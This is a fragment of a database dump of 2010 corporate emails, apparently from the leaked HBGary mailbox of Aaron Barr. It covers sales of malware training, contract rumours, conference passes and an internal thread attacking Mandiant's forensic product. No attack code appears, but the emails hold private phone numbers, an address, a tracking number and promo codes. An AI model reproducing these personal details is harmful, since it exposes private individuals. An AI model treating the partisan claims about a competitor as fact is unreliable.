Buonaccorsi&quot; &lt;deeann@hbgary.com&gt;\r\n\r\nDate: July 12, 2010 6:51:32 PM MDTTo: &quot;&#39;Ted Vera&#39;&quot; &lt;ted@hbgary.com&gt;Subject: RE: AD Server\r\n\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n\r\n \r\n\r\nI shipped the server today UPS Ground.   You should have it no\r\nlater than Thursday July 15, 2010.  I shipped it to your house.  The tracking\r\nnumber is 1Z AF7 112 03 9763 3542.\r\n\r\n \r\n\r\nPlease contact me if you have any questions.\r\n\r\n \r\n\r\nThanks\r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.  Suite 250\r\n\r\nSacramento, CA  95864\r\n\r\nTel:  916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail  deeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, July 12, 2010 1:16 PM\r\nTo: Scott Pease; DeeAnn Buonaccorsi\r\nSubject: AD Server\r\n\r\n\r\n\r\n \r\n\r\nHi Scott / DeeAnn,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI was wondering, did the AD Server ship yet?  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13766,'aaron_hbgary_com/13766.html'),(8456,'2010-07-13','\"Robert L Frizzelle\" <rfrizzelle@csc.com>','/aaron@hbgary.com/new/1297006533.M612559P14101Q3311.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Training','\r\nAaron,\r\n\r\nYes, I am interested... let me check\r\naround and see who all wants to come too.\r\n\r\nThanks,\r\n\r\nBob\r\n\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD &nbsp;21076\r\np: 443.445.7028 &nbsp;c: 571.269.6942 &nbsp;f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nRobert L Frizzelle/USA/CSC@CSC\r\n\r\nDate:\r\n07/12/2010 01:02 PM\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\nHi Bob,\r\n\r\nIt was good to see you the other night. And have a drink.\r\n\r\nAndy Purdy mentioned to some of our folks that you might have an interest\r\non our malware and social media training.\r\n\r\nLet me know if you want to discuss.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n',9707,'aaron_hbgary_com/9707.html'),(8457,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006533.M851380P14101Q3312.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Training','Sent from my iPadBegin forwarded message:From: Robert L Frizzelle &lt;rfrizzelle@csc.com&gt;\r\nDate: July 12, 2010 11:24:03 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Training\r\n\r\nAaron,\r\n\r\nYes, I am interested... let me check\r\naround and see who all wants to come too.\r\n\r\nThanks,\r\n\r\nBob\r\n\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD  21076\r\np: 443.445.7028  c: 571.269.6942  f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nRobert L Frizzelle/USA/CSC@CSC\r\n\r\nDate:\r\n07/12/2010 01:02 PM\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\nHi Bob,\r\n\r\nIt was good to see you the other night. And have a drink.\r\n\r\nAndy Purdy mentioned to some of our folks that you might have an interest\r\non our malware and social media training.\r\n\r\nLet me know if you want to discuss.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n',15204,'aaron_hbgary_com/15204.html'),(8458,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006534.M282499P14101Q3313.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Training','Um...  Andy mentioned that they have a &quot;big training contract&quot; that they might be interested offering our malware training under.  It sounds like Bob wants to attend personally, lol...\r\nTedOn Jul 12, 2010, at 9:27 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Sent from my iPad\r\nBegin forwarded message:From: Robert L Frizzelle &lt;rfrizzelle@csc.com&gt;\r\nDate: July 12, 2010 11:24:03 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Training\r\n\r\n\r\nAaron,\r\n\r\nYes, I am interested... let me check\r\naround and see who all wants to come too.\r\n\r\nThanks,\r\n\r\nBob\r\n\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD  21076\r\np: 443.445.7028  c: 571.269.6942  f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nRobert L Frizzelle/USA/CSC@CSC\r\n\r\nDate:\r\n07/12/2010 01:02 PM\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\nHi Bob,\r\n\r\nIt was good to see you the other night. And have a drink.\r\n\r\nAndy Purdy mentioned to some of our folks that you might have an interest\r\non our malware and social media training.\r\n\r\nLet me know if you want to discuss.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n',4586,'aaron_hbgary_com/4586.html'),(8459,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006534.M513164P14101Q3314.eml','\"Robert L Frizzelle\" <rfrizzelle@csc.com>,\"Robert L Frizzelle\" <rfrizzelle@csc.com>','Re: Training','Great.  I am not sure the details since Andy spoke with Penny, but he had mentioned a large training contract CSC has and thought these courses might be good additions as well.\r\nAaron Sent from my iPadOn Jul 12, 2010, at 11:24 PM, Robert L Frizzelle &lt;rfrizzelle@csc.com&gt; wrote:\r\n\r\nAaron,\r\n\r\nYes, I am interested... let me check\r\naround and see who all wants to come too.\r\n\r\nThanks,\r\n\r\nBob\r\n\r\nRobert L. Frizzelle\r\nVice President/General Manager,\r\nCSC Intelligence Business Unit, Mission Systems\r\n\r\n7231 Parkway Drive, Hanover, MD  21076\r\np: 443.445.7028  c: 571.269.6942  f: 443.445.7188\r\nrfrizzelle@csc.com I www.csc.com\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nTo:\r\nRobert L Frizzelle/USA/CSC@CSC\r\n\r\nDate:\r\n07/12/2010 01:02 PM\r\n\r\nSubject:\r\nTraining\r\n\r\n\r\n\r\n\r\nHi Bob,\r\n\r\nIt was good to see you the other night. And have a drink.\r\n\r\nAndy Purdy mentioned to some of our folks that you might have an interest\r\non our malware and social media training.\r\n\r\nLet me know if you want to discuss.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n',5023,'aaron_hbgary_com/5023.html'),(8460,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006534.M764899P14101Q3315.eml','\"Aaron Barr\" <adbarr@mac.com>','New Google Research On Social Networks','New Google Research On Social Networksmantis2009 writes &quot;Paul Adams, a senior user experience researcher at Google, has posted a slideshow from a recent presentation that shows insightful research into how people use social networking technologies. The presentation describes several shortcomings of existing technology, and it highlights specific modalities that current technology (ahem, Facebook) gets wrong. Adams concludes that social networking applications are a &#39;crude approximation&#39; of real-life social networks. &#39;People don&#39;t have one group of friends,&#39; Adams research in several different countries shows that in reality, most people have between four to six groups of friends. He argues that social networking applications need to be built with that reality in mind.&quot;\r\n\r\n   \r\n      Read more of this story at Slashdot.\r\n\r\n\r\n\r\nSent from my iPad\r\n',14470,'aaron_hbgary_com/14470.html'),(8461,'2010-07-13','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006534.M987822P14101Q3316.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','Huge deficiency discovered in Mandiant today','Huge deficiency discovered in Mandiant today\r\nShawn discovered that MIR does not offer forensically sound, or even accurate, disk acquisition.  Last week, we discovered that Mandiant does not even perform physical memory assessment at the end-node - they only appear to do so in their marketing materials.  In real life, you have to download the physmem to a local analyst workstation and use Memoryze for every host, one-by-one.  While this is a compelling value-add for HBGary since we can do this in a distributed fashion, this pales in comparison to the discovery today that Mandiant cannot even examine the disk.  We thought, the one thing that MIR apparently had going for it was the ability to discover disk-based IOC&#39;s at the end node.  Today, Shawn discovered that MIR doesn&#39;t actually do this either - they have incomplete half-implemented code to deal with NTFS.  To deal with files using raw NTFS, you have to know how NTFS works - this is something that only HBGary, Guidance, and Access Data have been able to do (apparently).  Hats off to Shawn, in fact, since he was the one who finally cracked the case on NTFS while we were still in the downtown office (that was last year, working in a one-room motel, didn&#39;t curb Shawn&#39;s uber hard core skillz).  Mandiant has not been able to overcome these same technical challenges in this (not a surprise, its hard!) - and as a result, they cannot recover NTFS files from the drive, except in the most trivial of circumstances (by trivial, we mean 99.98% of the time Mandiant doesn&#39;t work).  Stated clearly, Mandiant cannot acquire an accurate image of a file on disk.  This means Mandiant cannot function as a forensic tool in the Enterprise, period.  They basically don&#39;t work.  (If you want technical details, I can give them to you, but basically Mandiant is not parsing NTFS properly and thus file recovery is corrupted in almost all cases)\r\n\r\nI have never, in my entire involvement with the security industry, ever encountered a product so poorly executed and so clearly half-implemented as Madiant&#39;s MIR.  Their &quot;APT&quot; marketing campaign borders on false-advertising, and their execution ridicules their customers.  This is fact: I met a customer last week who had paid for two years of Mandiant service (thats $200k) without a single individual malware being reported (read: not a single, solitary instance - not one!) borders on negligence.  Since Mandiant is HBGary&#39;s only competition, we should revel in the fact they are so __BAD__ at what they do.  Kevin Mandia should be ashamed, ASHAMED at what he has done.  His customers deserve better, and we are going to take it from him.\r\n\r\n \r\n-Greg\r\n \r\n',16242,'aaron_hbgary_com/16242.html'),(8462,'2010-07-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006535.M214883P14101Q3317.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Address','Probably around 8\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, July 12, 2010 9:19 PM\r\nTo: Penny Leavy\r\nSubject: Address\r\n\r\n1223 Potomac School Rd.\r\nMclean, VA 22101\r\n\r\nAbout what time?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',13244,'aaron_hbgary_com/13244.html'),(8463,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006535.M444686P14101Q3318.eml','\"Aaron Barr\" <adbarr@mac.com>','','http://feedproxy.google.com/~r/HostexploitNewsRss/~3/Bd2EOrAU4SE/4149-trojans-dominate-online-threat-landscape-in-q2-2010.html\r\n\r\n\r\nSent from my iPad\r\n',15854,'aaron_hbgary_com/15854.html'),(8464,'2010-07-13','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006535.M734340P14101Q3319.eml','all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Huge deficiency discovered in Mandiant today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAs a salesperson, how do I use this information?&nbsp; Do I just\r\ncome out and say, &#8220;Mandiant does not have forensically sound or accurate\r\ndisk acquisition&#8221;?\r\n\r\n&nbsp;\r\n\r\nProspects will challenge me.&nbsp; They will ask, &#8220;How do\r\nyou know?&#8221;&nbsp; &#8220;What do you base this on?&#8221;&nbsp; &#8220;Have\r\nyou tested it?&#8221;&nbsp; &#8220;How would this impact me?&#8221;\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Tuesday, July 13, 2010 1:22 AM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHuge\r\ndeficiency discovered in Mandiant today\r\n\r\nShawn\r\ndiscovered that MIR does not offer forensically sound, or even accurate, disk\r\nacquisition.&nbsp; Last week,&nbsp;we&nbsp;discovered that Mandiant does not\r\neven perform physical memory assessment at the end-node - they only appear to\r\ndo so in their marketing materials.&nbsp; In real life, you have to download\r\nthe physmem to a local analyst workstation and use Memoryze for every host,\r\none-by-one.&nbsp; While this is a compelling value-add for HBGary since we can\r\ndo this in a distributed fashion, this pales in comparison to the discovery\r\ntoday that Mandiant cannot even examine the disk.&nbsp; We thought, the one\r\nthing that MIR apparently had going for it was the ability to discover\r\ndisk-based IOC\'s at the end node.&nbsp; Today, Shawn discovered that MIR\r\ndoesn\'t actually do this either - they have incomplete half-implemented code to\r\ndeal with NTFS.&nbsp; To deal with files using raw NTFS, you have to know how\r\nNTFS works - this is something that only HBGary, Guidance, and Access Data have\r\nbeen able to do (apparently).&nbsp; Hats off to Shawn, in fact, since he was\r\nthe one who finally cracked the case on NTFS while we were still in the\r\ndowntown office (that was last year, working in a one-room motel, didn\'t curb\r\nShawn\'s uber hard core skillz).&nbsp; Mandiant has not been able to overcome\r\nthese same technical challenges in this (not a surprise, its hard!) - and as a\r\nresult, they cannot recover NTFS files from the drive, except in the most\r\ntrivial of circumstances (by trivial, we mean 99.98% of the time Mandiant\r\ndoesn\'t work).&nbsp; Stated clearly, Mandiant cannot acquire an accurate image\r\nof a file on disk.&nbsp; This means Mandiant cannot function as a forensic tool\r\nin the Enterprise, period.&nbsp; They basically don\'t work.&nbsp; (If you want\r\ntechnical details, I can give them to you, but basically Mandiant is not\r\nparsing NTFS properly and thus file recovery is corrupted in almost all cases)\r\n\r\n\r\n\r\nI have never,\r\nin my entire involvement with the security industry, ever encountered a product\r\nso poorly executed and so clearly half-implemented as Madiant\'s MIR.&nbsp;\r\nTheir &quot;APT&quot; marketing campaign borders on false-advertising, and\r\ntheir execution ridicules their customers.&nbsp; This is&nbsp;fact: I met a\r\ncustomer last week who had paid for two years of Mandiant service (thats\r\n$200k)&nbsp;without a single individual malware being reported (read: not a\r\nsingle, solitary instance - not one!)&nbsp;borders on negligence.&nbsp; Since\r\nMandiant is HBGary\'s only competition, we should revel in the fact they are\r\nso&nbsp;__BAD__ at what they do.&nbsp; Kevin Mandia should be ashamed, ASHAMED\r\nat what he has done.&nbsp; His customers deserve better, and we are going to\r\ntake it from him.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.830 / Virus Database: 271.1.1/2990 - Release Date: 07/12/10\r\n12:49:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5677,'aaron_hbgary_com/5677.html'),(8465,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006536.M413883P14101Q3321.eml','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>,\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>','Re: FBI ESOC','Hi Michelle,Have you heard anything on ESOC?  Any rumors?Hope all is well,TedOn Mon, Jun 28, 2010 at 10:49 AM, Lemke, Michelle R. &lt;michelle.lemke@gd-ais.com&gt; wrote:\r\nIt went well - we&#39;re waiting for good news...not sure when we&#39;ll here.\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, June 28, 2010 12:49 PM\r\nTo: Lemke, Michelle R.\r\nSubject: FBI ESOC\r\n\r\nHi Michelle,\r\n\r\nI was just wondering how the orals went.  Do you know when the\r\ncustomer intends to release an award announcement?\r\n\r\nThanks,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',6833,'aaron_hbgary_com/6833.html'),(8466,'2010-07-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006536.M698082P14101Q3322.eml','\"Andrea Schiff\" <andrea@hbgary.com>,\"Andrea Schiff\" <andrea@hbgary.com>,','FW: Black Hat USA Sponsor Full Briefings and Exhibitor Booth Staff Registration','Aaron Barr will be one of these.  Ask Greg who else will go, perhaps Mike\r\nSpohn?\r\n\r\n-----Original Message-----\r\nFrom: Toni Margolis [mailto:toni@blackhat.com] \r\nSent: Tuesday, July 13, 2010 11:22 AM\r\nTo: penny@hbgary.com\r\nSubject: Black Hat USA Sponsor Full Briefings and Exhibitor Booth Staff\r\nRegistration\r\n\r\nHello Penny,\r\nPlease find attached the instructions on how to Register for the Full\r\nBriefings passes and Exhibitor Booth staff passes. Below are the associated\r\nPromo codes to use during the Registration process.\r\n\r\nFull Briefings 2: BHUSAHBGARYFB\r\nExhibitor Booth Staff 6: BHUSAHBGARYEXBS\r\n\r\nThank you, \r\n\r\n\r\nMs. Toni Margolis\r\nBlack Hat -TechWeb -UBM\r\nRegistration Manager\r\n1932 1st Ave, #204\r\nSeattle, WA.  98101\r\nCell: 206.291.4285\r\nOffice: 206.443.5489\r\nFax: 206.219.4143\r\nhttps://www.blackhat.com\r\nAAEE 5FA9 AB6B 7B79 CD06  FB7E 1ED5 27A0 63CC AC86\r\n\r\nDates for Upcoming Black Hat Events:\r\nUSA 2010: July 24-29, Las Vegas, NV\r\nABU DHABI 2010: November 8-11, UAE, Emirates Palace DC 2010: January 16-19,\r\nArlington VA.\r\nUSA 2011: July 30-Aug 4, Las Vegas, NV\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4479,'aaron_hbgary_com/4479.html'),(8467,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006536.M72319P14101Q3320.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Invitation: SBIR @ Tue Jul 20 12pm - 1pm (aaron@hbgary.com)',' more details &raquo;SBIRNew DOD SBIR requirements will be released on July 20th.  Proposals due Aug 17th.STTR Solicitation 2010.B -- will be posted on this Web Site on July 20, 2010; will begin accepting proposals on August 17, 2010; will close to proposals on September 15, 2010.SBIR Solicitation 2010.3 -- will be posted on this Web Site on July 20, 2010; will begin accepting proposals on August 17, 2010; will close to proposals on September 15, 2010.http://www.acq.osd.mil/osbp/sbir/solicitations/index.htmWhenTue Jul 20 12pm – 1pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Ted Vera - organizer&#x2022;Mark Trynor&#x2022;Aaron BarrGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',11236,'aaron_hbgary_com/11236.html'),(8468,'2010-07-13','\"Lemke, Michelle R.\" <michelle.lemke@gd-ais.com>','/aaron@hbgary.com/new/1297006536.M950983P14101Q3323.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: FBI ESOC','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ted, \r\n\r\n&nbsp;\r\n\r\n&nbsp;Nothing yet. We&#8217;ll keep you posted! \r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 13, 2010 12:10 PM\r\nTo: Lemke, Michelle R.\r\nCc: Barr Aaron\r\nSubject: Re: FBI ESOC\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Michelle,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHave you heard anything on ESOC? &nbsp;Any rumors?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope all is well,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nOn Mon, Jun 28, 2010 at 10:49 AM, Lemke, Michelle R. &lt;michelle.lemke@gd-ais.com&gt;\r\nwrote:\r\n\r\nIt went well - we\'re waiting for good news...not sure when\r\nwe\'ll here.\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, June 28, 2010 12:49 PM\r\nTo: Lemke, Michelle R.\r\nSubject: FBI ESOC\r\n\r\nHi Michelle,\r\n\r\nI was just wondering how the orals went. &nbsp;Do you know when the\r\ncustomer intends to release an award announcement?\r\n\r\nThanks,\r\nTed\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16737,'aaron_hbgary_com/16737.html'),(8469,'2010-07-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006537.M184783P14101Q3324.eml','\"Penny Leavy\" <penny@hbgary.com>','Palantir','Tuesday, July 13th, 6:30-8:30pm ESTPalantir Technologies1660 International DriveSuite 800McLean, VA 22102\r\nAaron BarrCEOHBGary Federal Inc.',7178,'aaron_hbgary_com/7178.html'),(8470,'2010-07-13','\"Shawn Bracken\" <shawn@hbgary.com>','/aaron@hbgary.com/new/1297006537.M441251P14101Q3325.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com,\"Karen Burke\" <karenmaryburke@yahoo.com>','RE: Huge deficiency discovered in Mandiant today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFor those who are curious where we got this from, it came\r\nstraight from Mandiant!:\r\n\r\n&nbsp;\r\n\r\nQuoted verbatim from the Mandiant Mir v1.4 user manual in the\r\nsection regarding their raw file support:\r\n\r\n&nbsp;\r\n\r\n&#8220;NOTE: A file can take multiple clusters of storage space on a\r\ndisk. If the file is appended to at a later time, then the additional clusters\r\nneeded may not immediately follow the initial ones. Such a file is called fragmented.\r\nIf a fragmented file and another file that lie between the original and appended\r\nclusters are both deleted, then the acquisition of the fragmented file will\r\nappear incorrectly to succeed. A file of the proper size will be acquired,\r\nbut the contents will be wrong, CONTAINING PARTS OF BOTH FILES&#8221;\r\n\r\n&nbsp;\r\n\r\nTranslation: They haven&#8217;t figured out how NTFS/Windows describes\r\nand manages non-contiguous file storage. HBGary does not suffer from such\r\nlaughable restrictions.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, July 12, 2010 10:22 PM\r\nTo: all@hbgary.com; Karen Burke\r\nSubject: Huge deficiency discovered in Mandiant today\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHuge\r\ndeficiency discovered in Mandiant today\r\n\r\nShawn\r\ndiscovered that MIR does not offer forensically sound, or even accurate, disk\r\nacquisition.&nbsp; Last week,&nbsp;we&nbsp;discovered that Mandiant does not even\r\nperform physical memory assessment at the end-node - they only appear to do so\r\nin their marketing materials.&nbsp; In real life, you have to download the physmem\r\nto a local analyst workstation and use Memoryze for every host, one-by-one.&nbsp;\r\nWhile this is a compelling value-add for HBGary since we can do this in a distributed\r\nfashion, this pales in comparison to the discovery today that Mandiant cannot\r\neven examine the disk.&nbsp; We thought, the one thing that MIR apparently had going\r\nfor it was the ability to discover disk-based IOC\'s at the end node.&nbsp; Today,\r\nShawn discovered that MIR doesn\'t actually do this either - they have\r\nincomplete half-implemented code to deal with NTFS.&nbsp; To deal with files using\r\nraw NTFS, you have to know how NTFS works - this is something that only HBGary,\r\nGuidance, and Access Data have been able to do (apparently).&nbsp; Hats off to\r\nShawn, in fact, since he was the one who finally cracked the case on NTFS while\r\nwe were still in the downtown office (that was last year, working in a one-room\r\nmotel, didn\'t curb Shawn\'s uber hard core skillz).&nbsp; Mandiant has not been able\r\nto overcome these same technical challenges in this (not a surprise, its hard!)\r\n- and as a result, they cannot recover NTFS files from the drive, except in the\r\nmost trivial of circumstances (by trivial, we mean 99.98% of the time Mandiant\r\ndoesn\'t work).&nbsp; Stated clearly, Mandiant cannot acquire an accurate image of a\r\nfile on disk.&nbsp; This means Mandiant cannot function as a forensic tool in the\r\nEnterprise, period.&nbsp; They basically don\'t work.&nbsp; (If you want technical\r\ndetails, I can give them to you, but basically Mandiant is not parsing NTFS\r\nproperly and thus file recovery is corrupted in almost all cases)\r\n\r\n\r\n\r\nI have\r\nnever, in my entire involvement with the security industry, ever encountered a\r\nproduct so poorly executed and so clearly half-implemented as Madiant\'s MIR.&nbsp;\r\nTheir &quot;APT&quot; marketing campaign borders on false-advertising, and\r\ntheir execution ridicules their customers.&nbsp; This is&nbsp;fact: I met a customer\r\nlast week who had paid for two years of Mandiant service (thats\r\n$200k)&nbsp;without a single individual malware being reported (read: not a\r\nsingle, solitary instance - not one!)&nbsp;borders on negligence.&nbsp; Since\r\nMandiant is HBGary\'s only competition, we should revel in the fact they are\r\nso&nbsp;__BAD__ at what they do.&nbsp; Kevin Mandia should be ashamed, ASHAMED at\r\nwhat he has done.&nbsp; His customers deserve better, and we are going to take it\r\nfrom him.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5096,'aaron_hbgary_com/5096.html'),(8471,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006537.M661989P14101Q3326.eml','dale.graham@ngc.com','TMC','Hi Dale,I heard that you are in Colorado Springs.  Last we spoke I mentioned our automated malware reverse engineering capability that was in development.  We now have a working prototype that we are beginning to shrink-wrap as COTS.  We call it the Threat Monitoring Center (TMC).  I think it could drastically improve 1st IO&#39;s malware analysis capability - by orders of magnitude.  We are currently processing over 30K malware per day.  Would you be interested in doing lunch this week to catch up and discuss?\r\nHope all is well,Ted\r\n\r\n',7022,'aaron_hbgary_com/7022.html'),(8472,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006541.M935605P14101Q3327.eml','\"Glenn Bearden\" <gbearden@peakdatasys.com>','HBGary','Hi Glenn,Attached are three whitepapers which describe our core capabilities.  We specialize in malware.  Malware detection, reverse engineering, exploit development, incident response, and digital forensics.  If you think any of your customers would be interested in our capabilities I would appreciate an email introduction.  Best of luck to you, please let me know how things work out with Jeff.\r\nRegards,Ted-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',9111,'aaron_hbgary_com/9111.html'),(8473,'2010-07-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006542.M835688P14101Q3328.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Question','---------- Forwarded message ----------From: Masterson, Brian M (XETRON) &lt;Brian.Masterson@ngc.com&gt;\r\nDate: Tue, Jul 13, 2010 at 4:54 AMSubject: RE: EXTERNAL:QuestionTo: Ted Vera 